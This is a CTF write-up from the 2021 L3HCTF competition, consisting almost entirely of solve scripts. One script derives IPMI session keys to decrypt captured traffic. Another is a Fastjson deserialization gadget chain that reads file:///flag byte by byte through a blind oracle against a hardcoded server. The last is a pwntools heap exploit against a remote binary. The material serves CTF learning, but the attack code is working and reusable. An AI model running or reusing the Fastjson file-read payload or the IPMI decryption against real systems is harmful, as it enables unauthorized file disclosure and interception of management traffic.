2021-L3HCTF(我愿称其为今年国内最好CTF好伐！！！) SpecialRain-Writeup

import hmac

'''
iv = bytes.fromhex('829c999137e535bf944ad9f7fddd3a16') # IPMI Message data [:16]
c = bytes.fromhex('fab1bd3339463a9aadb3ad28b4c961bf') # IPMI Message data [16:]
authcode = bytes.fromhex('059b9351f7372d273c792285') # IPMI Message[-16:]

# 完整性算法是HMAC-SHA1-96，机密性算法是AES-CBC-128
# 完整性算法 HMAC-SHA1-96 将用于计算 authcode
# 机密性算法 AES-CBC-128 将用于解密 IPMI 负载 c
# AES-key <- K2[:16] <- SIK
# SIK = HMAC KG (Rm | Rc | RoleM | ULengthM | <UNameM>)

Rm = 'a542743a4f194630ca69a7d114adcfec' # RAKP Message 1 data [9:24]
Rc = 'eb30891303f4b3a6c0cb999e373ab240' # RAKP Message 2 data [9:24]
Rolem = '14' # RAKP Message 1 data [25]
ULengthm = '05' # RAKP Message 1 data [28]
UNamem = '61646d696e' # RAKP Message 1 data [29:44]
#KG K[UID] (user password) is “admin” in this session. admin => ASCII: 61 64 6D 69 6E => pad to 16 bytes
KG='61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00'.replace(' ','')

SIK = hmac.new(bytes.fromhex(KG),bytes.fromhex(
    Rm + Rc + Rolem + ULengthm + UNamem
),'sha1')

print(SIK.hexdigest())

# K2 = HMAC SIK (const 2) ;
Const_2 = '0202020202020202020202020202020202020202'
# K2 是 HMAC 的结果，数据为“const 2”，密钥为 SIK。
K2 = hmac.new(bytes.fromhex(SIK.hexdigest()),bytes.fromhex(Const_2),'sha1')

print(K2.hexdigest())

key = bytes.fromhex(K2.hexdigest())[:16]

#IV = bytes.fromhex('4173cc04c9077684a3b3ac57f3a8d71d')
#key = bytes.fromhex('d64d9aa86d6202232ef8cbf006319b6b')
#c = bytes.fromhex('a3168b366f3d28b496d339cc2f724436')

aes = AES.new(key,AES.MODE_CBC,iv)
print(aes.decrypt(c))
'''

class IPMI_1():
    def __init__(self) -> None:
        self.Const_2 = bytes.fromhex('0202020202020202020202020202020202020202')
    
    def setRm(self,data):
        self.Rm = data[8:24]
    def setRc(self,data):
        self.Rc = data[8:24]
    def setRolem(self,data):
        self.Rolem = data[24:25]
    def setULengthm(self,data):
        self.ULengthm = data[27:28]
    def setUNamem(self,data):
        self.UNamem = data[28:33]
        self.KG = self.UNamem + b'\x00' * 11
    def getKey(self):
        self.SIK = hmac.new(self.KG,self.Rm + self.Rc + self.Rolem + self.ULengthm + self.UNamem,'sha1').hexdigest()
        self.K2 = hmac.new(bytes.fromhex(self.SIK),self.Const_2,'sha1').hexdigest()
        key = bytes.fromhex(self.K2)[:16]
        return key

import pyshark
from IPMI import IPMI_1
from Crypto.Cipher import AES

cap = pyshark.FileCapture('3.pcapng')
ipmi = IPMI_1()
global key

for i in cap:
    ipmi_session = i.ipmi_session
    
    if 'payloadtype' in dir(ipmi_session):

        # 前两个 if 初始化各个关键值
        if '0x00000012' == ipmi_session.payloadtype:
            data = bytes.fromhex(i.data.data)
            ipmi.setRm(data)
            ipmi.setULengthm(data)
            ipmi.setRolem(data)
            ipmi.setUNamem(data)
        elif '0x00000013' == ipmi_session.payloadtype:
            data = bytes.fromhex(i.data.data)
            ipmi.setRc(data)
            key = ipmi.getKey()

        # 解密消息
        elif '0x00000001' == ipmi_session.payloadtype:
            data = bytes.fromhex(i.data.data)
            iv = data[:16]
            c = data[16:]
            aes = AES.new(key,AES.MODE_CBC,iv)
            m = aes.decrypt(c)
            length = m[-1]
            m = m[:-1-length]
            try:
                print(m[4:].decode())
            except:
                print(m[4:])
            '''
            for i in m:
                if i > 32 and i < 128:
                    print(chr(i),end='')'''

import string
import requests 
s =  requests.session()
flags="76,51,72,67,84,70,123,99,111,118,51,114,95,109,101,97,110,115,95,100,105,115,99,111,118,101,114,95,52,110,100,95,107,49,108,108"
flag="L3HCTF{cov3r_means_discover_4nd_k1ll"
proxies = {
    "http":"http://127.0.0.1:8080"
}
url = "http://124.71.173.23:8088"
s.post(url+"/login",data={"userName":"admin","password":"123456","email":""})
str1=string.ascii_letters+string.digits+string.punctuation
for i in range(1,30):
    for j in str1:
        #print(str(ord(j)))
        #flags=str(j)
        data="""
[{
"age":{        "abc": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.BOMInputStream",
                "delegate": {
                        "@type": "org.apache.commons.io.input.ReaderInputStream",
                        "reader": {
                                "@type": "jdk.nashorn.api.scripting.URLReader",
                                "url": "file:///flag"
                        },
                        "charsetName": "UTF-8",
                        "bufferSize": 1024
                },
                "boms": [
                        {
                                "charsetName": "UTF-8",
                                "bytes": [
                                        """+flags+","+str(ord(j))+"""
                                ]
                        }
                ]
        },
        "address": {
                "$ref": "$[0].abc.BOM"
        }
}
}]"""
        #print(flags)
        r = s.post(url+"/dynamic_table",data={"data":data})
        if "bOMCharsetName" in r.text:
            flags+=","+str(ord(j))
            flag+=j
            print(flags)
            print(flag)
            break

#!/usr/bin/env python3
# coding=utf-8
from pwn import *

# from z3 import *
arch = "amd64"
filename = "SPN_ENC"

ip = "124.71.194.126"
port =9999
# libc
# libc
local_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
remote_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
# ld
# local_ld=ELF("/lib64/ld-linux-x86-64.so.2")
# remote_ld=ELF("/lib64/ld-linux-x86-64.so.2")

context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1

offset = 0
# elf
elf = ELF(filename)


def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")


def add(idx,size):
    io.recvuntil(b"0.exit")
    io.sendline(b'1')
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def edit(idx,size,payload):
    io.recvuntil(b"0.exit")
    io.sendline(b'2')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content")
    sleep(0.1)
    io.send(payload)
    sleep(0.1)

def free(idx):
    io.recvuntil(b"0.exit")
    io.sendline(b'3')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"0.exit")
    io.sendline(b'4')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def backdoor():
    io.recvuntil(b"0.exit")
    io.sendline(b'5')

def pwn():
    ### ptr_addr=0x204100 shell_addr=0x2040E0
    io.recvuntil(b"gift:")
    shell_addr=int(io.recv(14),16)
    success("shell_addr:"+hex(shell_addr))
    add(0,0x1010)
    add(1,0x80)
    sleep(1)
    edit(0,0x1010,b'a'*(1))
    sleep(1)
    backdoor()
    # b(0x000000AD7)
    return 1


if __name__ == '__main__':
    global io
    flag = 1
    while flag >= 1:
        try:
            if content == 0:
                io = process("./" + filename)
                libc = local_libc
                # ld = local_ld
                # onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.23 11.3
                onegadget = [0xe6c7e, 0xe6c81, 0xe6c84]  # 2.31 9.2
            else:
                io = remote(ip, port)
                libc = remote_libc
                # ld = remote_ld
                # onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.23 11.3
                onegadget = [0xe6c7e, 0xe6c81, 0xe6c84]  # 2.31 9.2
            if (pwn() == 0):
                flag -= 1
                continue
            else:
                io.interactive()
                flag = 0
        except Exception as e:
            print(e)
            io.close()
            flag -= 1
            continue